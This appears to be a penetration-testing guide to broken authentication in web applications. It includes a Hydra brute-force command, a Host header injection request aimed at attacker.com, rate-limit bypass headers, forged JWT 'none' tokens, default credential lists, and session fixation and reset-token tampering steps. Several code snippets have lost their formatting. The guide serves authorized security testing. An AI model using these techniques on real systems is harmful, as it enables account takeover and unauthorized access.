Broken Authentication Testing

Broken Authentication Testing

Purpose

Identify and exploit authentication and session management vulnerabilities in web applications. Broken authentication consistently ranks in the OWASP Top 10 and can lead to account takeover, identity theft, and unauthorized access to sensitive systems. This skill covers testing methodologies for password policies, session handling, multi-factor authentication, and credential management.

Prerequisites

Required Knowledge

Required Tools

Required Access

Outputs and Deliverables

Core Workflow

Phase 1: Authentication Mechanism Analysis

Understand the application's authentication architecture:

# Identify authentication type
- Password-based (forms, basic auth, digest)
- Token-based (JWT, OAuth, API keys)
- Certificate-based (mutual TLS)
- Multi-factor (SMS, TOTP, hardware tokens)

# Map authentication endpoints
/login, /signin, /authenticate
/register, /signup
/forgot-password, /reset-password
/logout, /signout
/api/auth/*, /oauth/*

Capture and analyze authentication requests:

POST /login HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

username=test&password=test123

Phase 2: Password Policy Testing

Evaluate password requirements and enforcement:

# Test minimum length (a, ab, abcdefgh)
# Test complexity (password, password1, Password1!)
# Test common weak passwords (123456, password, qwerty, admin)
# Test username as password (admin/admin, test/test)

Document policy gaps: Minimum length <8, no complexity, common passwords allowed, username as password.

Phase 3: Credential Enumeration

Test for username enumeration vulnerabilities:

# Compare responses for valid vs invalid usernames
# Invalid: "Invalid username" vs Valid: "Invalid password"
# Check timing differences, response codes, registration messages

Password reset

"Email sent if account exists" (secure)

"No account with that email" (leaks info)

API responses

{"error": "user_not_found"}

{"error": "invalid_password"}

### Phase 4: Brute Force Testing

Test account lockout and rate limiting:

Using Hydra for form-based auth

hydra -l admin -P /usr/share/wordlists/rockyou.txt \

target.com http-post-form \

"/login:username=^USER^&password=^PASS^:Invalid credentials"

Using Burp Intruder

Check for protections:

Account lockout

Rate limiting

CAPTCHA

### Phase 5: Credential Stuffing

Test with known breached credentials:

Credential stuffing differs from brute force

Uses known email:password pairs from breaches

Using Burp Intruder with Pitchfork attack

Detection evasion

### Phase 6: Session Management Testing

Analyze session token security:

Capture session cookie

Cookie: SESSIONID=abc123def456

Test token characteristics

Session token analysis:

#!/usr/bin/env python3

import requests

import hashlib

Collect multiple session tokens

tokens = []

for i in range(100):

response = requests.get("https://target.com/login")

token = response.cookies.get("SESSIONID")

tokens.append(token)

Analyze for patterns

Check for sequential increments

Calculate entropy

Look for timestamp components

### Phase 7: Session Fixation Testing

Test if session is regenerated after authentication:

Step 1: Get session before login

GET /login HTTP/1.1

Response: Set-Cookie: SESSIONID=abc123

Step 2: Login with same session

POST /login HTTP/1.1

Cookie: SESSIONID=abc123

username=valid&password=valid

Step 3: Check if session changed

VULNERABLE if SESSIONID remains abc123

SECURE if new session assigned after login

Attack scenario:

Attacker workflow:

https://target.com/login?SESSIONID=attacker_session

### Phase 8: Session Timeout Testing

Verify session expiration policies:

Test idle timeout

Test absolute timeout

Test logout functionality

### Phase 9: Multi-Factor Authentication Testing

Assess MFA implementation security:

OTP brute force

OTP bypass techniques

API Version Downgrade Attack (crAPI example)

If /api/v3/check-otp has rate limiting, try older versions:

POST /api/v2/check-otp

{"otp": "1234"}

Older API versions may lack security controls

Using Burp for OTP testing

Test MFA enrollment:

Forced enrollment

Recovery process

### Phase 10: Password Reset Testing

Analyze password reset security:

Token security

Token manipulation

https://target.com/reset?token=abc123&user=victim

Try changing user parameter while using valid token

Host header injection

POST /forgot-password HTTP/1.1

Host: attacker.com

email=victim@email.com

Reset email may contain attacker's domain

## Quick Reference

### Common Vulnerability Types

| Vulnerability | Risk | Test Method |
|--------------|------|-------------|
| Weak passwords | High | Policy testing, dictionary attack |
| No lockout | High | Brute force testing |
| Username enumeration | Medium | Differential response analysis |
| Session fixation | High | Pre/post-login session comparison |
| Weak session tokens | High | Entropy analysis |
| No session timeout | Medium | Long-duration session testing |
| Insecure password reset | High | Token analysis, workflow bypass |
| MFA bypass | Critical | Direct access, response manipulation |

### Credential Testing Payloads

Default credentials

admin:admin

admin:password

admin:123456

root:root

test:test

user:user

Common passwords

123456

password

12345678

qwerty

abc123

password1

admin123

Breached credential databases

### Session Cookie Flags

| Flag | Purpose | Vulnerability if Missing |
|------|---------|------------------------|
| HttpOnly | Prevent JS access | XSS can steal session |
| Secure | HTTPS only | Sent over HTTP |
| SameSite | CSRF protection | Cross-site requests allowed |
| Path | URL scope | Broader exposure |
| Domain | Domain scope | Subdomain access |
| Expires | Lifetime | Persistent sessions |

### Rate Limiting Bypass Headers

X-Forwarded-For: 127.0.0.1

X-Real-IP: 127.0.0.1

X-Originating-IP: 127.0.0.1

X-Client-IP: 127.0.0.1

X-Remote-IP: 127.0.0.1

True-Client-IP: 127.0.0.1

## Constraints and Limitations

### Legal Requirements
- Only test with explicit written authorization
- Avoid testing with real breached credentials
- Do not access actual user accounts
- Document all testing activities

### Technical Limitations
- CAPTCHA may prevent automated testing
- Rate limiting affects brute force timing
- MFA significantly increases attack difficulty
- Some vulnerabilities require victim interaction

### Scope Considerations
- Test accounts may behave differently than production
- Some features may be disabled in test environments
- Third-party authentication may be out of scope
- Production testing requires extra caution

## Examples

### Example 1: Account Lockout Bypass

**Scenario:** Test if account lockout can be bypassed

Step 1: Identify lockout threshold

Try 5 wrong passwords for admin account

Result: "Account locked for 30 minutes"

Step 2: Test bypass via IP rotation

Use X-Forwarded-For header

POST /login HTTP/1.1

X-Forwarded-For: 192.168.1.1

username=admin&password=attempt1

Increment IP for each attempt

X-Forwarded-For: 192.168.1.2

Continue until successful or confirmed blocked

Step 3: Test bypass via case manipulation

username=Admin (vs admin)

username=ADMIN

Some systems treat these as different accounts

### Example 2: JWT Token Attack

**Scenario:** Exploit weak JWT implementation

Step 1: Capture JWT token

Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidGVzdCJ9.signature

Step 2: Decode and analyze

Header: {"alg":"HS256","typ":"JWT"}

Payload: {"user":"test","role":"user"}

Step 3: Try "none" algorithm attack

Change header to: {"alg":"none","typ":"JWT"}

Remove signature

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ.

Step 4: Submit modified token

Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4ifQ.

### Example 3: Password Reset Token Exploitation

**Scenario:** Test password reset functionality

Step 1: Request reset for test account

POST /forgot-password

email=test@example.com

Step 2: Capture reset link

https://target.com/reset?token=a1b2c3d4e5f6

Step 3: Test token properties

Reuse: Try using same token twice

Expiration: Wait 24+ hours and retry

Modification: Change characters in token

Step 4: Test for user parameter manipulation

https://target.com/reset?token=a1b2c3d4e5f6&email=admin@example.com

Check if admin's password can be reset with test user's token